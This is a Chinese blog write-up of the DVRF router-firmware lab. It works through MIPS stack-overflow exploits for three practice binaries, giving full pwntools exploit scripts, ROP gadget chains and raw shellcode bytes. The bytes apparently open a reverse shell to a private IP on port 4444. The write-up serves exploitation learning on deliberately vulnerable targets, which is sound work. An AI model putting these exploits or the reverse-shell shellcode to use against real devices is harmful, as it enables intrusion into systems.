DVRF项目学习
2024-09-07 11:24:04 # iot

前言

Damn Vulnerable Router Firmware (DVRF)是一个帮助了解x86/64以外架构的项目 支持qemu模拟搭建环境
项目地址 https://github.com/praetorian-inc/DVRF

环境配置

1
git clone https://github.com/praetorian-inc/DVRF.git

下载项目后 使用binwalk分解出文件系统

1
binwalk -Me DVRF_v03.bin 该文件位于Firmware文件夹中

所涉及到的漏洞文件位于pwnable文件夹中

stack_bof_01

先来看这个文件 readelf查看架构 发现是mips
image.png
尝试使用qemu模拟运行一下

1
sudo chroot  . ./qemu-mipsel-static  ./pwnable/Intro/stack_bof_01

image.png
需要在程序后面跟上参数 随便带一个aaaa试试
image.png
应该是有一个空间存放输入的字符串 加上打印出了字符串 猜测可能存在溢出的情况 使用ida打开程序看看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
int __cdecl main(int argc, const char **argv, const char **envp)
{
__int16 v4; // [sp+18h] [+18h] BYREF
char v5[198]; // [sp+1Ah] [+1Ah] BYREF

v4 = 0;
memset(v5, 0, sizeof(v5));
if ( argc < 2 )
{
puts("Usage: stack_bof_01 <argument>\r\n-By b1ack0wl\r");
exit(1);
}
puts("Welcome to the first BoF exercise!\r\n\r");
strcpy((char *)&v4, argv[1]);
printf("You entered %s \r\n", (const char *)&v4);
puts("Try Again\r");
return 65;
}

首先分析一下main函数 开始对于argc参数进行了判断 其用来表示程序外部输入参数的个数
初始值为1 即运行程序的指令 如果我们后续再跟入一个参数 即可以跳过if分支
接下来使用strcpy函数将输入的参数复制到v4数组中 没有对写入的字节数进行限制 这里就存在栈溢出
同时还存在dat_shell函数 通过执行该函数 可以直接获取shell
image.png
通过对mips架构的程序了解 返回地址存储在栈上 在栈帧结束后 通过$ra寄存器进行跳转
image.png
比对strcpy函数和最后的$ra寄存器值 大致可以推测出偏移为0xcc 准备利用动调来测试一下

1
2
3
addiu   $v0, $fp, 0xE0+var_C8

lw $ra, 0xE0+var_s4($sp)
1
2
3
sudo chroot  . ./qemu-mipsel-static -g 1234 ./pwnable/Intro/stack_bof_01 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

gdb-multiarch ./DVRF/Firmware/_DVRF_v03.bin.extracted/squashfs-root/pwnable/Intro/stack_bof_01

可以看到偏移就为0xcc 此时我们在垃圾数据后加上漏洞函数的地址 看是否能够劫持程序执行流
image.png
编写exp脚本

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import*
context.arch = "mips"
context.log_level = "debug"
# context.terminal = ['tmux','splitw','-h']

payload = "a"*0xcc + '\x50'+'\\'+'\x09\x40'

io = process("qemu-mipsel-static -L ./DVRF/Firmware/_DVRF_v03.bin.extracted/squashfs-root/ -g 2222 ./DVRF/Firmware/_DVRF_v03.bin.extracted/squashfs-root/pwnable/Intro/stack_bof_01 "+payload,shell=True)
elf = ELF("./DVRF/Firmware/_DVRF_v03.bin.extracted/squashfs-root/pwnable/Intro/stack_bof_01")


io.interactive()

虽然此时已经劫持了返回地址 但是会发现程序卡在了这句
image.png
查阅了其他师傅的博客后 发现问题出在了t9这个寄存器上
image.png
如图 dal_shell函数中调用的每个函数的参数都由$t9来索引 为了成功调用函数
我们还需要控制t9的值 t9的值默认为当前函数开始的地址
接下来的问题在于如何控制t9寄存器
利用ropper查询一下gadget 漏洞文件中未发现 查看一下libc文件

1
ropper -f libc.so.0 --search "lw $t9"

以sp寄存器为索引的地址相对来说更好控制 可以在栈溢出的时候顺便设置 这里的两句都可以使用
image.png
随后关闭aslr 来减小我们做题的难度

1
2
sudo su
echo 0 > /proc/sys/kernel/randomize_va_space

但是在查询libc基址的时候发现 vmmap无法显示出来地址
e59c768b79190538edb1c9f4ab494194.png
于是打算利用memset中的got表来获取真实地址
断点打在执行memset函数后
image.png
得到memset的真实地址 打开libc文件 查得偏移为0x1BE10
计算得到libc基址
那么就可以得到lw $t9该条gadget的地址了
往对应的位置填入后门函数的起始地址赋值给$t9 成功执行
image.png
完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import*
context.arch = "mips"
context.log_level = "debug"
# context.terminal = ['tmux','splitw','-h']


libc_base = 0x3fee5000
t9 = 0x00021278+libc_base #0x3ff11ff4

#payload = "a"*0xcc + '\xf4\x1f\xf1\x3f' + '\x50'+'\\'+'\x09\x40'
payload = b"a"*0xcc + p32(t9)+b'\x50'+b'\\'+b'\x09\x40'+cyclic(0x3d)+b'\x50'+b'\\'+b'\x09\x40'

io = process(b"qemu-mipsel-static -L ./DVRF/Firmware/_DVRF_v03.bin.extracted/squashfs-root/ -g 1111 ./DVRF/Firmware/_DVRF_v03.bin.extracted/squashfs-root/pwnable/Intro/stack_bof_01 "+payload,shell=True)
elf = ELF("./DVRF/Firmware/_DVRF_v03.bin.extracted/squashfs-root/pwnable/Intro/stack_bof_01")


io.interactive()

stack_bof_02

32位小端序mips架构
image.png
主要的一个漏洞仍然是通过strcpy引发的栈溢出 但是该程序没有提供后门函数 并且在描述中提到需要使用shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
int __cdecl main(int argc, const char **argv, const char **envp)
{
__int16 v4; // [sp+18h] [+18h] BYREF
char v5[498]; // [sp+1Ah] [+1Ah] BYREF

v4 = 0;
memset(v5, 0, sizeof(v5));
if ( argc < 2 )
{
puts("Usage: stack_bof_01 <argument>\r\n-By b1ack0wl\r");
exit(1);
}
puts("Welcome to the Second BoF exercise! You'll need Shellcode for this! ;)\r\n\r");
strcpy((char *)&v4, argv[1]);
printf("You entered %s \r\n", (const char *)&v4);
puts("Try Again\r");
return 0;
}

没有开启任何保护
image.png
那么还是老办法 想办法得到垃圾数据的长度 接着往栈上写入shellcode 随后劫持$ra寄存器跳转至shellcode
这里介绍一个工具msfvenom 用其来生成我们所需要的shellcode

1
sudo snap install metasploit-framework 安装

这里指定一下要生成的类型 执行/bin/sh的系统调用 mipsel架构 linux平台 去除\x00字符

1
msfvenom -p linux/mipsle/exec  CMD=/bin/sh  --arch mipsle --platform linux -f py --bad-chars "\x00"

image.png
在查询了其他师傅的博客后 发现都提到了一点 即可以利用nop sled来增加shellcode的泛用性
大概的原理就是通过大量的nop指令堆在shellcode前面 这样程序执行流不管落在哪里都可以往下执行 和做x86题目用到的思路是一样的
不过这里由于我关闭了aslr 所以栈的地址是固定的 就用不上了
使用pwntools自带的shellcraft也可以生成shellcode
顺带一提 如果使用stack_bof_01的exp脚本那种形式 不知道为什么同样的shellcode无法打通
所以这里更换了一下exp 将payload写到文件中 再将文件的内容作为stack_bof_01的参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import*
from systemd import*
context(log_level='debug',arch='mips',endian='little',bits=32)
context.terminal = ['tmux','splitw','-h']


shellcode = asm(shellcraft.sh())



stack_addr = 0x407ffbe8
payload = shellcode.ljust(0x1fc,b'a')+p32(stack_addr)

with open("payload","wb+") as f:
f.write(payload)



#io = process(b"./qemu-mipsel-static -L . -g 1111 ./pwnable/ShellCode_Required/stack_bof_02 "+payload,shell=True)

#elf = ELF("./pwnable/ShellCode_Required/stack_bof_02")


1
./qemu-mipsel-static -L .  ./pwnable/ShellCode_Required/stack_bof_02 "$(cat payload)"

image.png

socket_bof

image.png
32位小端序mips架构
保护全关
image.png
接着来分析一下程序的主体逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
int __cdecl main(int argc, const char **argv, const char **envp)
{
uint16_t v3; // $v0
int v4; // $v0
int v5; // $v0
size_t v6; // $v0
int v8; // [sp+24h] [+24h]
int fd; // [sp+28h] [+28h]
__int16 v10; // [sp+2Ch] [+2Ch] BYREF
char v11[498]; // [sp+2Eh] [+2Eh] BYREF
__int16 v12; // [sp+220h] [+220h] BYREF
char v13[48]; // [sp+222h] [+222h] BYREF
int v14; // [sp+254h] [+254h] BYREF
struct sockaddr v15; // [sp+258h] [+258h] BYREF

if ( argc < 2 )
{
printf("Usage: %s port_number - by b1ack0wl\n", *argv);
exit(1);
}
v10 = 0;
memset(v11, 0, sizeof(v11));
v12 = 0;
memset(v13, 0, sizeof(v13));
v14 = 1;
fd = socket(2, 2, 0);
bzero(&v15, 0x10u);
v15.sa_family = 2;
*&v15.sa_data[2] = htons(0);
v3 = atoi(argv[1]);
*v15.sa_data = htons(v3);
v4 = atoi(argv[1]);
printf("Binding to port %i\n", v4);
if ( bind(fd, &v15, 0x10u) == -1 )
{
v5 = atoi(argv[1]);
printf("Error Binding to port %i\n", v5);
exit(1);
}
if ( setsockopt(fd, 0xFFFF, 4, &v14, 4u) < 0 )
{
puts("Setsockopt failed :(");
close(fd);
exit(2);
}
listen(fd, 2);
v8 = accept(fd, 0, 0);
bzero(&v10, 0x1F4u);
write(v8, "Send Me Bytes:", 0xEu);
read(v8, &v10, 0x1F4u);
sprintf(&v12, "nom nom nom, you sent me %s", &v10);
printf("Sent back - %s", &v10);
v6 = strlen(&v12);
write(v8, &v12, v6 + 1);
shutdown(v8, 2);
shutdown(fd, 2);
close(v8);
close(fd);
return 66;
}

仍然对于argc进行了限制 需要我们提供程序参数
接着建立了一个socket通信 使用AF_INET协议族 即ipv4 套接字类型为数据报套接字 传输协议默认使用ip
随后使用bzero清空了v15数组 该数组用于存储socket信息
我们输入的参数赋值于sa_data成员 同时经过了htons函数 由小端序变为大端序
这里充当的是端口 随后利用bind函数和指定的端口相连
接着调用listen函数等待指定的端口出现客户端连接 这里的程序充当服务端
accept函数用于接受客户端的请求
接受到的数据存放于v10数组
漏洞出现在sprintf函数中 可以造成栈溢出
显然 这里的攻击思路就是劫持程序执行流 使其跳转到我们写入的shellcode

首先还是要获取偏移

1
./qemu-mipsel-static -L . -g 1234 ./pwnable/ShellCode_Required/socket_bof 9999

先启动程序 程序的端口为1234 监听的端口为9999
随后gdb连接1234 断点打在read函数 调用exp脚本发送垃圾数据 断点打在赋值ra寄存器那边 得到偏移为0x33

1
2
3
4
5
6
7
8
9
from pwn import*
from systemd import*
context(log_level='debug',arch='mips',endian='little',bits=32)
context.terminal = ['tmux','splitw','-h']

io = remote("127.0.0.1",9999)

io.recvuntil("Send Me Bytes:")
io.sendline(cyclic(0x300))

按照原本的想法 直接打shellcode就行了 但是最后无法实现 查阅了其他师傅的博客
问题出在mips架构的缓存不一致性 这一概念该如何理解
对于cpu的cache缓存一定不陌生 L1 cache为了处理指令和数据 指令是只读 而数据是读写 为了提高读写效率 将其分为了两个cache I-cache(指令缓存) D-cache(数据缓存)
所以这里需要将我们写入的shellcode从D-cache刷新到I-cache
理解到这里 产生了一个疑问 为什么在stack_bof_02中 我们写入的shellcode不需要考虑到该问题 即可生效
对比二者的程序逻辑 最明显的不同在于stack_bof_02从指令行中读取参数 socket_bof利用socket来获取数据
猜测通过socket传输的数据存储在了D-cache中
那么如何把数据从D-cache刷新到I-cache 利用sleep函数
给予一定的时间 来让D-cache和I-cache二者同步
所以接下来的目标就是寻找gadget 执行sleep(1)后跳转到shellcode
这里学习使用一个新的工具 ida的插件mipsrop
具体的安装和使用自行搜索教程 这里提一个我遇到的报错
image.png
在edit中plugins的MIPS ROP Finder可以正常运行 但是在执行mipsrop.find(“li $a0,1”)时报错
image.png
参照该教程 成功解决问题https://blog.csdn.net/snowleopard_bin/article/details/115376333
执行mipsrop.find(“li $a0,1”)用来控制$a0寄存器 作为sleep函数的参数
image.png
这里选用0x00018AA8这一条gadget
image.png
执行完li $a0,1后 跳转的地址依赖于$s3寄存器
接下来需要获取控制$s3寄存器的gadget
image.png
有很多条 这里选用0x7730处的gadget
image.png
在我们执行完sleep函数后 还需要跳转到shellcode处执行 那么这里就需要错开寄存器
使用$s2或者$s1寄存器来跳转
可以使用mipsrop.tail()函数 该函数可以查询所有函数尾部调用的gadget
image.png
选择0x20F1C的gadget 通过$s2来执行shellcode
image.png
那么总结一下gadget的执行顺序 首先执行0x7730的gadget 控制$s3为sleep函数的地址 $s2为0x00018AA8这条gadget的地址
再控制$ra为0x20F1C的gadget 这条gadget控制$ra为shellcode的地址
编写如下poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwn import*
from systemd import*
context(log_level='debug',arch='mips',endian='little',bits=32)
context.terminal = ['tmux','splitw','-h']

io = remote("127.0.0.1",7777)

io.recvuntil("Send Me Bytes:")

buf = b""
buf += b"\xfa\xff\x0f\x24\x27\x78\xe0\x01\xfd\xff\xe4\x21"
buf += b"\xfd\xff\xe5\x21\xff\xff\x06\x28\x57\x10\x02\x24"
buf += b"\x0c\x01\x01\x01\xff\xff\xa2\xaf\xff\xff\xa4\x8f"
buf += b"\xfd\xff\x0f\x34\x27\x78\xe0\x01\xe2\xff\xaf\xaf"
buf += b"\x11\x5c\x0e\x3c\x11\x5c\xce\x35\xe4\xff\xae\xaf"
buf += b"\xf7\x83\x0e\x3c\xc0\xa8\xce\x35\xe6\xff\xae\xaf"
buf += b"\xe2\xff\xa5\x27\xef\xff\x0c\x24\x27\x30\x80\x01"
buf += b"\x4a\x10\x02\x24\x0c\x01\x01\x01\xfd\xff\x11\x24"
buf += b"\x27\x88\x20\x02\xff\xff\xa4\x8f\x21\x28\x20\x02"
buf += b"\xdf\x0f\x02\x24\x0c\x01\x01\x01\xff\xff\x10\x24"
buf += b"\xff\xff\x31\x22\xfa\xff\x30\x16\xff\xff\x06\x28"
buf += b"\x62\x69\x0f\x3c\x2f\x2f\xef\x35\xec\xff\xaf\xaf"
buf += b"\x73\x68\x0e\x3c\x6e\x2f\xce\x35\xf0\xff\xae\xaf"
buf += b"\xf4\xff\xa0\xaf\xec\xff\xa4\x27\xf8\xff\xa4\xaf"
buf += b"\xfc\xff\xa0\xaf\xf8\xff\xa5\x27\xab\x0f\x02\x24"
buf += b"\x0c\x01\x01\x01"



shellcode_addr = 0x408000a0
libc_addr = 0x3fee5000
gadget1 = libc_addr + 0x7730
gadget2 = libc_addr + 0x00018AA8
gadget3 = libc_addr + 0x20F1C
sleep_addr = libc_addr + 0x2F2B0
payload = cyclic(0x33)+p32(gadget1)
payload += cyclic(0x20)+p32(gadget2)+p32(sleep_addr)+p32(gadget3)
payload += cyclic(0x24)+p32(gadget2)+p32(shellcode_addr)+buf

io.sendline(payload)

io.interactive()

执行发现程序卡在sleep函数执行中的这里
image.png
问题出在$s2寄存器上
本句汇编的作用为 将$s0的值赋值给$s2+0x64处的地址
而此时对应的地址权限为不可写
image.png
同时 在libc文件中定位到一段gadget
image.png
这里对于$s2寄存器减去了大概0x4000多字节 所以我们要做的就是在执行gadget2的时候 把$s2寄存器替换为一个可读地址加上0x4000字节
更改后的payload

1
2
3
payload = cyclic(0x33)+p32(gadget1)
payload += cyclic(0x20)+p32(gadget2)+p32(sleep_addr)+p32(gadget3)
payload += cyclic(0x24)+p32(shellcode_addr+0x4000)+cyclic(0x4)+p32(shellcode_addr)+buf

此时已经可以成功执行sleep函数 但是新的问题出现了 没有按照预期的执行完sleep函数后根据$ra寄存器中的shellcode地址进行跳转 分析了sleep函数的汇编后
image.png
发现问题出在sleep函数在结束的时候 还会对$ra寄存器重新赋值
所以需要根据偏移重新布置栈
这里解释一下为什么我的shellcode前面要有那么多额外的偏移 这是因为我shellcode如果不增加偏移的话 地址为0x408000a4 这其中有\x00字节 会导致后面的字节都无法传输 所以将其更改为\x01
完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwn import*
from systemd import*
context(log_level='debug',arch='mips',endian='little',bits=32)
context.terminal = ['tmux','splitw','-h']

io = remote("127.0.0.1",2222)

io.recvuntil("Send Me Bytes:")

buf = b""
buf += b"\xfa\xff\x0f\x24\x27\x78\xe0\x01\xfd\xff\xe4\x21"
buf += b"\xfd\xff\xe5\x21\xff\xff\x06\x28\x57\x10\x02\x24"
buf += b"\x0c\x01\x01\x01\xff\xff\xa2\xaf\xff\xff\xa4\x8f"
buf += b"\xfd\xff\x0f\x34\x27\x78\xe0\x01\xe2\xff\xaf\xaf"
buf += b"\x11\x5c\x0e\x3c\x11\x5c\xce\x35\xe4\xff\xae\xaf"
buf += b"\xf7\x83\x0e\x3c\xc0\xa8\xce\x35\xe6\xff\xae\xaf"
buf += b"\xe2\xff\xa5\x27\xef\xff\x0c\x24\x27\x30\x80\x01"
buf += b"\x4a\x10\x02\x24\x0c\x01\x01\x01\xfd\xff\x11\x24"
buf += b"\x27\x88\x20\x02\xff\xff\xa4\x8f\x21\x28\x20\x02"
buf += b"\xdf\x0f\x02\x24\x0c\x01\x01\x01\xff\xff\x10\x24"
buf += b"\xff\xff\x31\x22\xfa\xff\x30\x16\xff\xff\x06\x28"
buf += b"\x62\x69\x0f\x3c\x2f\x2f\xef\x35\xec\xff\xaf\xaf"
buf += b"\x73\x68\x0e\x3c\x6e\x2f\xce\x35\xf0\xff\xae\xaf"
buf += b"\xf4\xff\xa0\xaf\xec\xff\xa4\x27\xf8\xff\xa4\xaf"
buf += b"\xfc\xff\xa0\xaf\xf8\xff\xa5\x27\xab\x0f\x02\x24"
buf += b"\x0c\x01\x01\x01"



shellcode_addr = 0x408001a4
libc_addr = 0x3fee5000
gadget1 = libc_addr + 0x7730
gadget2 = libc_addr + 0x00018AA8
gadget3 = libc_addr + 0x20F1C
sleep_addr = libc_addr + 0x2F2B0
payload = cyclic(0x33)+p32(gadget1)
payload += cyclic(0x20)+p32(gadget2)+p32(sleep_addr)+p32(gadget3)
payload += cyclic(0x24)+p32(shellcode_addr+0x4000)+p32(shellcode_addr)+cyclic(0x30)+p32(shellcode_addr)+cyclic(0x100-0x30)+buf

io.sendline(payload)

io.interactive()

image.png

Prev
2024-09-07 11:24:04 # iot
Next